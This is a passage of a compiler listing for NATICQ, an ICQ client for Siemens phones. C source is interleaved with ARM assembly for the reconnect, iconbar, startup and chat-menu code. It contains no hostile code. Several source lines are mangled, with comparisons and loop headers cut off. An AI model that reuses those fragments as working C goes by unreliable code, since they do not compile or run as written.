\ 00000A60 1B0100EF SWI +283 6171 } 6172 SMART_REDRAW(); \ ??maincsm_onmessage_54: \ 00000A64 ........ BL SMART_REDRAW 6173 SUBPROC((void *)ClearSendQ); \ 00000A68 ........ LDR R0,??DataTable129 ;; ClearSendQ \ 00000A6C 710100EF SWI +369 6174 #ifdef EVILFOX 6175 if (!disautorecconect) GBS_StartTimerProc(&reconnect_tmr,TMR_SECOND*12,do_reconnect); 6176 #else 6177 if (!disautorecconect) \ 00000A70 B80295E5 LDR R0,[R5, #+696] \ 00000A74 000050E3 CMP R0,#+0 \ 00000A78 70FFFF1A BNE ??maincsm_onmessage_21 6178 { 6179 GBS_StartTimerProc(&reconnect_tmr,TMR_SECOND*RECONNECT_TIME,do_reconnect); \ 00000A7C 280295E5 LDR R0,[R5, #+552] \ 00000A80 0A20A0E1 MOV R2,R10 \ 00000A84 D830A0E3 MOV R3,#+216 \ 00000A88 930001E0 MUL R1,R3,R0 \ 00000A8C 0400A0E1 MOV R0,R4 \ 00000A90 4D0000EF SWI +77 6180 snprintf(logmsg,255,"%s\nReconect after %d second...",logmsg, RECONNECT_TIME); //2058 \ 00000A94 280295E5 LDR R0,[R5, #+552] \ 00000A98 0930A0E1 MOV R3,R9 \ 00000A9C 01002DE9 PUSH {R0} \ 00000AA0 6B2F87E2 ADD R2,R7,#+428 \ 00000AA4 FF10A0E3 MOV R1,#+255 \ 00000AA8 0900A0E1 MOV R0,R9 \ 00000AAC 1B0100EF SWI +283 \ 00000AB0 04D08DE2 ADD SP,SP,#+4 \ 00000AB4 79FFFFEA B ??maincsm_onmessage_41 \ ??maincsm_onmessage_5: \ 00000AB8 ........ DC32 CheckDoubleRun \ 00000ABC ........ DC32 ProcessNextSmile \ 00000AC0 ........ DC32 ProcessNextXStatImg \ 00000AC4 ........ DC32 XStatusesIconArray \ 00000AC8 ........ DC32 send_login \ 00000ACC ........ DC32 LoadLocalCL \ 00000AD0 ........ DC32 get_answer 6181 } 6182 6183 #endif 6184 break; 6185 } 6186 } 6187 } 6188 return(1); 6189 } 6190 6191 6192 //-------------------- ICON IN ICONBAR ------------// 6193 6194 //kluchnik 26.03.08 6195 #ifdef ELKA 6196 #pragma swi_number=0x27 6197 __swi __arm void AddIconToIconBar(int pic, short *num); 6198 6199 \ In segment CODE, align 4, keep-with-next 6200 void addIconBar(short* num) 6201 { \ addIconBar: \ 00000000 70402DE9 PUSH {R4-R6,LR} 6202 int icn; 6203 if(ShowStatusIcon==1 || ShowStatusIcon==3) \ 00000004 ........ LDR R5,??DataTable146 ;; S_ICONS \ 00000008 0040A0E1 MOV R4,R0 \ 0000000C F00095E5 LDR R0,[R5, #+240] \ 00000010 010050E3 CMP R0,#+1 \ 00000014 03005013 CMPNE R0,#+3 \ 00000018 2C00001A BNE ??addIconBar_0 6204 { 6205 if(total_unread) \ 0000001C 0C0395E5 LDR R0,[R5, #+780] \ 00000020 000050E3 CMP R0,#+0 \ 00000024 2200000A BEQ ??addIconBar_1 6206 AddIconToIconBar(NumStatusToIconBar + IS_MSG, num); \ ??addIconBar_2: \ 00000028 580195E5 LDR R0,[R5, #+344] \ 0000002C 0410A0E1 MOV R1,R4 \ 00000030 0D0080E2 ADD R0,R0,#+13 \ ??addIconBar_3: \ 00000034 270000EF SWI +39 6207 else 6208 { 6209 switch(connect_state) 6210 { 6211 case 0: 6212 icn=IS_OFFLINE; break; 6213 case 3: 6214 icn=CurrentStatus; //IS_ONLINE; 6215 break; 6216 default: 6217 icn=IS_UNKNOWN; break; 6218 } 6219 AddIconToIconBar(NumStatusToIconBar + icn, num); 6220 } 6221 } 6222 else 6223 { 6224 if(ShowStatusIcon==2)//Если показывать и иконбаре везде,кроме идле 6225 { 6226 if(!(IsIdleUiOnTop())) 6227 { 6228 if(total_unread) 6229 AddIconToIconBar(NumStatusToIconBar + IS_MSG, num); 6230 else 6231 { 6232 switch(connect_state) 6233 { 6234 case 0: 6235 icn=IS_OFFLINE; break; 6236 case 3: 6237 icn=CurrentStatus; //IS_ONLINE; 6238 break; 6239 default: 6240 icn=IS_UNKNOWN; break; 6241 } 6242 AddIconToIconBar(NumStatusToIconBar + icn, num); 6243 } 6244 } 6245 } 6246 } 6247 6248 if(show_xstatus==2 || show_xstatus==3) \ ??addIconBar_4: \ 00000038 EC0095E5 LDR R0,[R5, #+236] \ 0000003C 020050E3 CMP R0,#+2 \ 00000040 03005013 CMPNE R0,#+3 \ 00000044 0700001A BNE ??addIconBar_5 6249 if(CurrentXStatus!=0) \ 00000048 ........ LDR R0,??DataTable131 ;; CurrentXStatus \ 0000004C 000090E5 LDR R0,[R0, #+0] \ 00000050 000050E3 CMP R0,#+0 \ 00000054 0300000A BEQ ??addIconBar_5 6250 AddIconToIconBar(NumXStatusToIconBar+CurrentXStatus,num); \ 00000058 5C2195E5 LDR R2,[R5, #+348] \ 0000005C 0410A0E1 MOV R1,R4 \ 00000060 020080E0 ADD R0,R0,R2 \ 00000064 270000EF SWI +39 6251 6252 #ifdef kluchnik 6253 // if(solnce) 6254 //{ 6255 CLIST *t; 6256 t=FindContactByUin(438532198); \ ??addIconBar_5: \ 00000068 A8009FE5 LDR R0,??addIconBar_6 ;; 0x1a237866 \ 0000006C ........ _BLF FindContactByUin,??FindContactByUin??rA \ 00000070 0060A0E1 MOV R6,R0 6257 if(t->state!=0xFFFF && (GetIconIndex(t)!=IS_UNKNOWN)) \ 00000074 B405D6E1 LDRH R0,[R6, #+84] \ 00000078 FF10A0E3 MOV R1,#+255 \ 0000007C FF1C81E3 ORR R1,R1,#0xFF00 \ 00000080 010050E1 CMP R0,R1 \ 00000084 7080BD08 POPEQ {R4-R6,PC} \ 00000088 0600A0E1 MOV R0,R6 \ 0000008C ........ BL GetIconIndex \ 00000090 0E0050E3 CMP R0,#+14 \ 00000094 7080BD08 POPEQ {R4-R6,PC} 6258 AddIconToIconBar(NumStatusToIconBar + GetIconIndex(t), num); \ 00000098 0600A0E1 MOV R0,R6 \ 0000009C ........ BL GetIconIndex \ 000000A0 582195E5 LDR R2,[R5, #+344] \ 000000A4 0410A0E1 MOV R1,R4 \ 000000A8 020080E0 ADD R0,R0,R2 \ 000000AC 270000EF SWI +39 6259 // } 6260 #endif 6261 } \ 000000B0 7080BDE8 POP {R4-R6,PC} ;; return \ ??addIconBar_1: \ 000000B4 E80295E5 LDR R0,[R5, #+744] \ 000000B8 000050E3 CMP R0,#+0 \ 000000BC 1100000A BEQ ??addIconBar_7 \ 000000C0 030050E2 SUBS R0,R0,#+3 \ 000000C4 0E00001A BNE ??addIconBar_8 \ ??addIconBar_9: \ 000000C8 C80295E5 LDR R0,[R5, #+712] \ 000000CC 0D0000EA B ??addIconBar_7 \ ??addIconBar_0: \ 000000D0 020050E3 CMP R0,#+2 \ 000000D4 D7FFFF1A BNE ??addIconBar_4 \ 000000D8 C50000EF SWI +197 \ 000000DC 000050E3 CMP R0,#+0 \ 000000E0 D4FFFF1A BNE ??addIconBar_4 \ 000000E4 0C0395E5 LDR R0,[R5, #+780] \ 000000E8 000050E3 CMP R0,#+0 \ 000000EC CDFFFF1A BNE ??addIconBar_2 \ 000000F0 E80295E5 LDR R0,[R5, #+744] \ 000000F4 000050E3 CMP R0,#+0 \ 000000F8 0200000A BEQ ??addIconBar_7 \ 000000FC 030050E2 SUBS R0,R0,#+3 \ 00000100 F0FFFF0A BEQ ??addIconBar_9 \ ??addIconBar_8: \ 00000104 0E00A0E3 MOV R0,#+14 \ ??addIconBar_7: \ 00000108 582195E5 LDR R2,[R5, #+344] \ 0000010C 0410A0E1 MOV R1,R4 \ 00000110 020080E0 ADD R0,R0,R2 \ 00000114 C6FFFFEA B ??addIconBar_3 \ ??addIconBar_6: \ 00000118 6678231A DC32 0x1a237866 6262 6263 typedef struct 6264 { 6265 char check_name[8]; 6266 int addr; 6267 }ICONBAR_H; 6268 6269 #endif 6270 \ In segment DATA_C, align 4, align-sorted 6271 const int minus11=-11; \ minus11: \ 00000000 F5FFFFFF DC32 -11 6272 \ In segment DATA_Z, align 4, align-sorted 6273 unsigned short maincsm_name_body[140]; \ maincsm_name_body: \ 00000000 DS8 280 6274 6275 struct 6276 { 6277 CSM_DESC maincsm; 6278 WSHDR maincsm_name; 6279 #ifdef ELKA 6280 ICONBAR_H iconbar_handler; 6281 #endif 6282 }MAINCSM = 6283 { 6284 { 6285 maincsm_onmessage, 6286 maincsm_oncreate, 6287 #ifdef NEWSGOLD 6288 0, 6289 0, 6290 0, 6291 0, 6292 #endif 6293 maincsm_onclose, 6294 sizeof(MAIN_CSM), 6295 1, 6296 &minus11 6297 }, 6298 { 6299 maincsm_name_body, 6300 NAMECSM_MAGIC1, 6301 NAMECSM_MAGIC2, 6302 0x0, 6303 139 6304 } 6305 #ifdef ELKA 6306 , 6307 { 6308 "IconBar" 6309 } 6310 #endif 6311 }; 6312 \ In segment CODE, align 4, keep-with-next 6313 void UpdateCSMname(void) 6314 { 6315 wsprintf((WSHDR *)(&MAINCSM.maincsm_name), "NATICQ: %d",UIN); \ UpdateCSMname: \ 00000000 ........ LDR R0,??DataTable146 ;; S_ICONS \ 00000004 10109FE5 LDR R1,??UpdateCSMname_0 ;; `?` \ 00000008 00402DE9 PUSH {LR} \ 0000000C 702190E5 LDR R2,[R0, #+368] \ 00000010 9C0080E2 ADD R0,R0,#+156 \ 00000014 240100EF SWI +292 6316 } \ 00000018 0080BDE8 POP {PC} ;; return \ ??UpdateCSMname_0: \ 0000001C ........ DC32 `?` 6317 6318 #ifdef ELKA \ In segment CODE, align 4, keep-with-next 6319 void SetIconBarHandler() 6320 { 6321 MAINCSM.iconbar_handler.addr = (int)addIconBar; \ SetIconBarHandler: \ 00000000 08009FE5 LDR R0,??SetIconBarHandler_0 ;; S_ICONS + 184 \ 00000004 ........ LDR R1,??DataTable137 ;; addIconBar \ 00000008 001080E5 STR R1,[R0, #+0] 6322 } \ 0000000C 1EFF2FE1 BX LR ;; return \ ??SetIconBarHandler_0: \ 00000010 ........ DC32 S_ICONS + 184 6323 #endif 6324 \ In segment CODE, align 4, keep-with-next 6325 int main(char *filename) 6326 { \ main: \ 00000000 F0402DE9 PUSH {R4-R7,LR} 6327 MAIN_CSM main_csm; 6328 char *s; 6329 int len; 6330 // WSHDR *ws; 6331 UpdateConfig(); 6332 //InitConfig(); 6333 6334 sprintf(PINGO, "Ping None"); \ 00000004 ........ LDR R4,??DataTable146 ;; S_ICONS \ 00000008 ........ LDR R5,??DataTable135 ;; `?` \ 0000000C 2CD04DE2 SUB SP,SP,#+44 \ 00000010 0060A0E1 MOV R6,R0 \ 00000014 ........ BL UpdateConfig \ 00000018 731F85E2 ADD R1,R5,#+460 \ 0000001C CC00A0E3 MOV R0,#+204 \ 00000020 7C0D80E3 ORR R0,R0,#0x1F00 \ 00000024 040080E0 ADD R0,R0,R4 \ 00000028 160000EF SWI +22 6335 6336 s=strrchr(filename,'\\'); 6337 len=(s-filename)+1; \ 0000002C 5C10A0E3 MOV R1,#+92 \ 00000030 0600A0E1 MOV R0,R6 \ 00000034 170100EF SWI +279 \ 00000038 060040E0 SUB R0,R0,R6 \ 0000003C 017080E2 ADD R7,R0,#+1 6338 strncpy(elf_path,filename,len); \ 00000040 0720A0E1 MOV R2,R7 \ 00000044 0610A0E1 MOV R1,R6 \ 00000048 0800A0E3 MOV R0,#+8 \ 0000004C 800E80E3 ORR R0,R0,#0x800 \ 00000050 040080E0 ADD R0,R0,R4 \ 00000054 160100EF SWI +278 6339 elf_path[len]=0; \ 00000058 040087E0 ADD R0,R7,R4 \ 0000005C 0010A0E3 MOV R1,#+0 \ 00000060 0818C0E5 STRB R1,[R0, #+2056] 6340 if (!UIN) \ 00000064 700194E5 LDR R0,[R4, #+368] \ 00000068 000050E3 CMP R0,#+0 \ 0000006C 0900001A BNE ??main_1 6341 { 6342 LockSched(); \ 00000070 460100EF SWI +326 6343 ShowMSG(1,(int)LG_MSGNOUINPASS); \ 00000074 761F85E2 ADD R1,R5,#+472 \ 00000078 0100A0E3 MOV R0,#+1 \ 0000007C 480100EF SWI +328 6344 /* ws=AllocWS(150); 6345 str_2ws(ws,successed_config_filename,128); 6346 ExecuteFile(ws,0,0);*/ 6347 UnlockSched(); \ 00000080 470100EF SWI +327 6348 SUBPROC((void *)ElfKiller); \ 00000084 ........ LDR R0,??DataTable136 ;; ElfKiller \ 00000088 710100EF SWI +369 6349 return 0; \ 0000008C 0000A0E3 MOV R0,#+0 \ 00000090 2CD08DE2 ADD SP,SP,#+44 \ 00000094 F080BDE8 POP {R4-R7,PC} 6350 } 6351 ReadDefSettings(); \ ??main_1: \ 00000098 ........ BL ReadDefSettings 6352 setup_ICONS(); \ 0000009C ........ BL setup_ICONS 6353 LoadXStatusText(); \ 000000A0 ........ _BLF LoadXStatusText,??LoadXStatusText??rA 6354 UpdateCSMname(); \ 000000A4 ........ BL UpdateCSMname 6355 LockSched(); \ 000000A8 460100EF SWI +326 6356 maincsm_id=CreateCSM(&MAINCSM.maincsm,&main_csm,0); \ 000000AC 0020A0E3 MOV R2,#+0 \ 000000B0 0D10A0E1 MOV R1,SP \ 000000B4 740084E2 ADD R0,R4,#+116 \ 000000B8 070100EF SWI +263 \ 000000BC 640284E5 STR R0,[R4, #+612] 6357 UnlockSched(); \ 000000C0 470100EF SWI +327 6358 6359 PrintLibInit(1); \ 000000C4 0100A0E3 MOV R0,#+1 \ 000000C8 ........ _BLF PrintLibInit,??PrintLibInit??rA 6360 FontPathInit((char *)fontpath, 1); \ 000000CC 2C60A0E3 MOV R6,#+44 \ 000000D0 906E86E3 ORR R6,R6,#0x900 \ 000000D4 0110A0E3 MOV R1,#+1 \ 000000D8 040086E0 ADD R0,R6,R4 \ 000000DC ........ _BLF FontPathInit,??FontPathInit??rA 6361 SetFontColor((char*)fontColor,(char*)bgrColor,1); \ 000000E0 0120A0E3 MOV R2,#+1 \ 000000E4 0500A0E3 MOV R0,#+5 \ 000000E8 400E80E3 ORR R0,R0,#0x400 \ 000000EC 041080E0 ADD R1,R0,R4 \ 000000F0 0100C0E3 BIC R0,R0,#0x1 \ 000000F4 040080E0 ADD R0,R0,R4 \ 000000F8 ........ _BLF SetFontColor,??SetFontColor??rA 6362 away_timer(); \ 000000FC ........ BL away_timer 6363 #ifdef ELKA 6364 SetIconBarHandler(); \ 00000100 ........ LDR R0,??DataTable137 ;; addIconBar \ 00000104 B80084E5 STR R0,[R4, #+184] 6365 #endif 6366 #ifdef kluchnik 6367 switch(CurrentPrivateStatus) \ 00000108 CC0294E5 LDR R0,[R4, #+716] \ 0000010C 040050E3 CMP R0,#+4 \ 00000110 0E00008A BHI ??main_2 \ 00000114 011F8FE2 ADR R1,??main_0 \ 00000118 0010D1E7 LDRB R1,[R1, R0] \ 0000011C 01F18FE0 ADD PC,PC,R1, LSL #+2 \ ??main_0: \ 00000120 01030507 DC8 +1,+3,+5,+7 \ 00000124 09000000 DC8 +9,+0,+0,+0 6368 { 6369 case 0: ICON_HD=ICON_ALL_CAN_SEE; break; \ ??main_3: \ 00000128 1700A0E3 MOV R0,#+23 \ 0000012C 060000EA B ??main_4 6370 case 1: ICON_HD=ICON_NOBODY_CAN_SEE; break; \ ??main_5: \ 00000130 1B00A0E3 MOV R0,#+27 \ 00000134 040000EA B ??main_4 6371 case 2: ICON_HD=ICON_VISLIST_CAN_SEE; break; \ ??main_6: \ 00000138 1800A0E3 MOV R0,#+24 \ 0000013C 020000EA B ??main_4 6372 case 3: ICON_HD=ICON_INVISLIST_CANNOT_SEE; break; \ ??main_7: \ 00000140 1900A0E3 MOV R0,#+25 \ 00000144 000000EA B ??main_4 6373 case 4: ICON_HD=ICON_CONTACTLIST_CAN_SEE; break; \ ??main_8: \ 00000148 1A00A0E3 MOV R0,#+26 \ ??main_4: \ 0000014C 240384E5 STR R0,[R4, #+804] 6374 } 6375 #endif 6376 if(fonto==1) \ ??main_2: \ 00000150 080194E5 LDR R0,[R4, #+264] \ 00000154 010050E3 CMP R0,#+1 \ 00000158 0B00001A BNE ??main_9 6377 { 6378 char *heght=malloc(64); \ 0000015C 4000A0E3 MOV R0,#+64 \ 00000160 140000EF SWI +20 \ 00000164 0070A0E1 MOV R7,R0 6379 sprintf(heght, "%s2240.png", fontpath); \ 00000168 042086E0 ADD R2,R6,R4 \ 0000016C F01085E2 ADD R1,R5,#+240 \ 00000170 160000EF SWI +22 6380 paused_height=GetImgHeight((int)heght); \ 00000174 0700A0E1 MOV R0,R7 \ 00000178 210000EF SWI +33 \ 0000017C 380284E5 STR R0,[R4, #+568] 6381 mfree(heght); \ 00000180 0700A0E1 MOV R0,R7 \ 00000184 150000EF SWI +21 \ 00000188 010000EA B ??main_10 6382 } 6383 else 6384 paused_height=fonto-100; \ ??main_9: \ 0000018C 640040E2 SUB R0,R0,#+100 \ 00000190 380284E5 STR R0,[R4, #+568] 6385 GBS_StartTimerProc(&mytmr3, 12000, Pinger2); \ ??main_10: \ 00000194 ........ LDR R2,??DataTable138 ;; Pinger2 \ 00000198 E010A0E3 MOV R1,#+224 \ 0000019C B81D81E3 ORR R1,R1,#0x2E00 \ 000001A0 BC00A0E3 MOV R0,#+188 \ 000001A4 7C0D80E3 ORR R0,R0,#0x1F00 \ 000001A8 040080E0 ADD R0,R0,R4 \ 000001AC 4D0000EF SWI +77 6386 // x_zstatus(); 6387 upTime(); \ 000001B0 ........ BL upTime 6388 ScreenSaverTimer(); \ 000001B4 ........ BL ScreenSaverTimer 6389 #ifdef NEWSGOLD 6390 initTags(); \ 000001B8 ........ _BLF initTags,??initTags??rA 6391 #endif 6392 init_time_zone(); \ 000001BC ........ BL init_time_zone 6393 AddKeybMsgHook((void *)my_keyhook); \ 000001C0 ........ LDR R0,??DataTable139 ;; my_keyhook \ 000001C4 2B0100EF SWI +299 6394 return 0; \ 000001C8 0000A0E3 MOV R0,#+0 \ 000001CC 2CD08DE2 ADD SP,SP,#+44 \ 000001D0 F080BDE8 POP {R4-R7,PC} ;; return 6395 } 6396 6397 //=========================================================== 6398 // Edit chat 6399 //=========================================================== 6400 \ In segment CODE, align 4, keep-with-next 6401 void edchat_locret(void){} \ edchat_locret: \ 00000000 1EFF2FE1 BX LR ;; return 6402 \ In segment CODE, align 4, keep-with-next 6403 char *ExtractAnswer(WSHDR *ws) 6404 { \ ExtractAnswer: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 6405 S_SMILES *t; 6406 int c; 6407 int len=0; 6408 int scur; 6409 char *msg=NULL; 6410 unsigned short *wsbody=ws->wsbody; \ 00000004 005090E5 LDR R5,[R0, #+0] \ 00000008 0040A0E3 MOV R4,#+0 6411 int wslen=wsbody[0]; \ 0000000C B060D5E1 LDRH R6,[R5, #+0] \ 00000010 0070A0E3 MOV R7,#+0 6412 if (wslen) \ 00000014 000056E3 CMP R6,#+0 \ 00000018 3C00000A BEQ ??ExtractAnswer_0 6413 { 6414 for (int i=0; i=0xE100) 6418 { 6419 t=FindSmileByUni(c); 6420 if (t) 6421 { 6422 if (t->lines) 6423 { 6424 len+=strlen(t->lines->text); 6425 } 6426 } 6427 else len++; 6428 } 6429 else len++; 6430 } 6431 6432 msg=malloc(len+1); \ ??ExtractAnswer_2: \ 00000024 010084E2 ADD R0,R4,#+1 \ 00000028 140000EF SWI +20 \ 0000002C 0070A0E1 MOV R7,R0 6433 scur=0; \ 00000030 0090A0E3 MOV R9,#+0 6434 for (int wcur=0; wcur=0xE100) 6439 { 6440 t=FindSmileByUni(c); 6441 if (t) 6442 { 6443 int w; 6444 char *s; 6445 if (t->lines) 6446 { 6447 s=t->lines->text; 6448 while ((w=*s++) && scurnext)) \ FindNextActiveContact: \ ??FindNextActiveContact_0: \ 00000000 000090E5 LDR R0,[R0, #+0] \ 00000004 000050E3 CMP R0,#+0 \ 00000008 0300000A BEQ ??FindNextActiveContact_1 6475 { 6476 if (t->isactive) return t; \ 0000000C 981090E5 LDR R1,[R0, #+152] \ 00000010 000051E3 CMP R1,#+0 \ 00000014 F9FFFF0A BEQ ??FindNextActiveContact_0 \ 00000018 1EFF2FE1 BX LR 6477 } 6478 t=(CLIST *)(&cltop); \ ??FindNextActiveContact_1: \ 0000001C ........ LDR R0,??DataTable141 ;; S_ICONS + 784 \ 00000020 020000EA B ??FindNextActiveContact_2 6479 while(t=(CLIST *)(t->next)) 6480 { 6481 if (t->isactive) return t; \ ??FindNextActiveContact_3: \ 00000024 981090E5 LDR R1,[R0, #+152] \ 00000028 000051E3 CMP R1,#+0 \ 0000002C 1EFF2F11 BXNE LR 6482 } \ ??FindNextActiveContact_2: \ 00000030 000090E5 LDR R0,[R0, #+0] \ 00000034 000050E3 CMP R0,#+0 \ 00000038 F9FFFF1A BNE ??FindNextActiveContact_3 6483 return NULL; \ 0000003C 1EFF2FE1 BX LR ;; return 6484 } 6485 \ In segment CODE, align 4, keep-with-next 6486 CLIST *FindPrevActiveContact(CLIST *t) 6487 { 6488 CLIST *cl; 6489 CLIST *cl_active=NULL; 6490 cl=(CLIST *)(&cltop); \ FindPrevActiveContact: \ 00000000 ........ LDR R2,??DataTable141 ;; S_ICONS + 784 \ 00000004 0010A0E3 MOV R1,#+0 \ 00000008 020000EA B ??FindPrevActiveContact_0 6491 6492 6493 while(cl=cl->next) 6494 { 6495 if (cl==t) 6496 { 6497 if (cl_active==NULL) break; 6498 else return (cl_active); 6499 } 6500 else 6501 { 6502 if (cl->isactive) cl_active=cl; \ ??FindPrevActiveContact_1: \ 0000000C 983092E5 LDR R3,[R2, #+152] \ 00000010 000053E3 CMP R3,#+0 \ 00000014 0210A011 MOVNE R1,R2 6503 } \ ??FindPrevActiveContact_0: \ 00000018 002092E5 LDR R2,[R2, #+0] \ 0000001C 000052E3 CMP R2,#+0 \ 00000020 0500000A BEQ ??FindPrevActiveContact_2 \ 00000024 000052E1 CMP R2,R0 \ 00000028 F7FFFF1A BNE ??FindPrevActiveContact_1 \ 0000002C 000051E3 CMP R1,#+0 \ 00000030 0100000A BEQ ??FindPrevActiveContact_2 \ ??FindPrevActiveContact_3: \ 00000034 0100A0E1 MOV R0,R1 \ 00000038 1EFF2FE1 BX LR ;; return 6504 } 6505 while(t) \ ??FindPrevActiveContact_2: \ 0000003C 000050E3 CMP R0,#+0 \ 00000040 FBFFFF0A BEQ ??FindPrevActiveContact_3 6506 { 6507 if (t->isactive) cl_active=t; \ 00000044 982090E5 LDR R2,[R0, #+152] \ 00000048 000052E3 CMP R2,#+0 \ 0000004C 0010A011 MOVNE R1,R0 6508 t=t->next; \ 00000050 000090E5 LDR R0,[R0, #+0] \ 00000054 F8FFFFEA B ??FindPrevActiveContact_2 6509 } 6510 return cl_active; 6511 } 6512 6513 \ In segment CODE, align 4, keep-with-next 6514 void ed_options_handler(USR_MENU_ITEM *item) 6515 { \ ed_options_handler: \ 00000000 F0412DE9 PUSH {R4-R8,LR} 6516 EDCHAT_STRUCT *ed_struct=item->user_pointer; 6517 #ifdef kluchnik 6518 #else 6519 CLIST *t; 6520 #endif 6521 int i=item->cur_item; 6522 if (item->type==0) \ 00000004 ........ LDR R5,??DataTable146 ;; S_ICONS \ 00000008 58D04DE2 SUB SP,SP,#+88 \ 0000000C 0070A0E1 MOV R7,R0 \ 00000010 0000D7E5 LDRB R0,[R7, #+0] \ 00000014 044097E5 LDR R4,[R7, #+4] \ 00000018 B860D7E1 LDRH R6,[R7, #+8] \ 0000001C 000050E3 CMP R0,#+0 \ 00000020 1C00001A BNE ??ed_options_handler_0 6523 { 6524 switch(i) \ 00000024 0C0097E5 LDR R0,[R7, #+12] \ 00000028 FC829FE5 LDR R8,??ed_options_handler_1 ;; `?ed_chatgui)==ed_struct->ed_answer) \ ??ed_options_handler_2: \ 00000048 040094E5 LDR R0,[R4, #+4] \ 0000004C 820100EF SWI +386 \ 00000050 081094E5 LDR R1,[R4, #+8] \ 00000054 010050E1 CMP R0,R1 \ 00000058 0C009715 LDRNE R0,[R7, #+12] \ 0000005C 0810A011 MOVNE R1,R8 6529 ascii2ws(item->ws,"Вставить смайл"); \ 00000060 0C009705 LDREQ R0,[R7, #+12] \ 00000064 38108802 ADDEQ R1,R8,#+56 \ 00000068 090000EA B ??ed_options_handler_6 6530 else 6531 ascii2ws(item->ws,"Копировать в буфер"); 6532 break; 6533 case 1: 6534 ascii2ws(item->ws,"Вставить из буфера"); \ ??ed_options_handler_3: \ 0000006C 141088E2 ADD R1,R8,#+20 \ 00000070 070000EA B ??ed_options_handler_6 6535 break; 6536 case 2: 6537 ascii2ws(item->ws,"Очистить буфер"); \ ??ed_options_handler_4: \ 00000074 281088E2 ADD R1,R8,#+40 \ 00000078 050000EA B ??ed_options_handler_6 6538 break; 6539 default: 6540 i-=3; 6541 if (iloaded_templates) ascii2ws(item->ws,templates_lines[i]); \ ??ed_options_handler_5: \ 0000007C 101094E5 LDR R1,[R4, #+16] \ 00000080 036046E2 SUB R6,R6,#+3 \ 00000084 010056E1 CMP R6,R1 \ 00000088 A50000AA BGE ??ed_options_handler_7 \ 0000008C D81295E5 LDR R1,[R5, #+728] \ 00000090 061191E7 LDR R1,[R1, +R6, LSL #+2] \ ??ed_options_handler_6: \ 00000094 ........ _BLF ascii2ws,??ascii2ws??rA 6542 break; 6543 #else 6544 case 0: 6545 ascii2ws(item->ws,LG_MNUEDNEXTACT); 6546 break; 6547 case 1: 6548 ascii2ws(item->ws,LG_MNUEDPREVACT); 6549 break; 6550 default: 6551 i-=2; 6552 if (iloaded_templates) ascii2ws(item->ws,templates_lines[i]); 6553 break; 6554 #endif 6555 } 6556 } 6557 6558 if (item->type==1) \ ??ed_options_handler_0: \ 00000098 0000D7E5 LDRB R0,[R7, #+0] \ 0000009C 010050E3 CMP R0,#+1 \ 000000A0 9F00001A BNE ??ed_options_handler_7 6559 { 6560 switch(i) \ 000000A4 040094E5 LDR R0,[R4, #+4] \ 000000A8 0610B0E1 MOVS R1,R6 \ 000000AC 0400000A BEQ ??ed_options_handler_8 \ 000000B0 011056E2 SUBS R1,R6,#+1 \ 000000B4 4000000A BEQ ??ed_options_handler_9 \ 000000B8 011051E2 SUBS R1,R1,#+1 \ 000000BC 5A00000A BEQ ??ed_options_handler_10 \ 000000C0 5D0000EA B ??ed_options_handler_11 6561 { 6562 #ifdef kluchnik 6563 case 0: 6564 { 6565 if (EDIT_GetFocus(ed_struct->ed_chatgui)==ed_struct->ed_answer) \ ??ed_options_handler_8: \ 000000C4 820100EF SWI +386 \ 000000C8 081094E5 LDR R1,[R4, #+8] \ 000000CC 010050E1 CMP R0,R1 \ 000000D0 0200001A BNE ??ed_options_handler_12 6566 CreateSmileSelectGUI(ed_struct); \ 000000D4 0400A0E1 MOV R0,R4 \ 000000D8 ........ _BLF CreateSmileSelectGUI,??CreateSmileSelectGUI??rA \ 000000DC 340000EA B ??ed_options_handler_13 6567 else 6568 { 6569 int ed; 6570 EDITCONTROL ec; 6571 EDITCONTROL ec_hdr; 6572 6573 ed=EDIT_GetFocus(ed_struct->ed_chatgui); \ ??ed_options_handler_12: \ 000000E0 040094E5 LDR R0,[R4, #+4] \ 000000E4 820100EF SWI +386 \ 000000E8 0060A0E1 MOV R6,R0 6574 ExtractEditControl(ed_struct->ed_chatgui,ed,&ec); \ 000000EC 040094E5 LDR R0,[R4, #+4] \ 000000F0 2C208DE2 ADD R2,SP,#+44 \ 000000F4 0610A0E1 MOV R1,R6 \ 000000F8 690100EF SWI +361 6575 ExtractEditControl(ed_struct->ed_chatgui,ed-1,&ec_hdr); \ 000000FC 040094E5 LDR R0,[R4, #+4] \ 00000100 0D20A0E1 MOV R2,SP \ 00000104 011046E2 SUB R1,R6,#+1 \ 00000108 690100EF SWI +361 6576 6577 wsInsertChar(wsBuffer,'>',wstrlen(wsBuffer)+1); \ 0000010C 3C0295E5 LDR R0,[R5, #+572] \ 00000110 230100EF SWI +291 \ 00000114 012080E2 ADD R2,R0,#+1 \ 00000118 3C0295E5 LDR R0,[R5, #+572] \ 0000011C 3E10A0E3 MOV R1,#+62 \ 00000120 1D0000EF SWI +29 6578 wsInsertChar(wsBuffer,' ',wstrlen(wsBuffer)+1); \ 00000124 3C0295E5 LDR R0,[R5, #+572] \ 00000128 230100EF SWI +291 \ 0000012C 012080E2 ADD R2,R0,#+1 \ 00000130 3C0295E5 LDR R0,[R5, #+572] \ 00000134 2010A0E3 MOV R1,#+32 \ 00000138 1D0000EF SWI +29 6579 wstrcat(wsBuffer,ec_hdr.pWS); \ 0000013C 28109DE5 LDR R1,[SP, #+40] \ 00000140 3C0295E5 LDR R0,[R5, #+572] \ 00000144 210100EF SWI +289 6580 wsInsertChar(wsBuffer,'\n',wstrlen(wsBuffer)+1); \ 00000148 3C0295E5 LDR R0,[R5, #+572] \ 0000014C 230100EF SWI +291 \ 00000150 012080E2 ADD R2,R0,#+1 \ 00000154 3C0295E5 LDR R0,[R5, #+572] \ 00000158 0A10A0E3 MOV R1,#+10 \ 0000015C 1D0000EF SWI +29 6581 6582 wsInsertChar(wsBuffer,'>',wstrlen(wsBuffer)+1); \ 00000160 3C0295E5 LDR R0,[R5, #+572] \ 00000164 230100EF SWI +291 \ 00000168 012080E2 ADD R2,R0,#+1 \ 0000016C 3C0295E5 LDR R0,[R5, #+572] \ 00000170 3E10A0E3 MOV R1,#+62 \ 00000174 1D0000EF SWI +29 6583 wsInsertChar(wsBuffer,' ',wstrlen(wsBuffer)+1); \ 00000178 3C0295E5 LDR R0,[R5, #+572] \ 0000017C 230100EF SWI +291 \ 00000180 012080E2 ADD R2,R0,#+1 \ 00000184 3C0295E5 LDR R0,[R5, #+572] \ 00000188 2010A0E3 MOV R1,#+32 \ 0000018C 1D0000EF SWI +29 6584 wstrcat(wsBuffer,ec.pWS); \ 00000190 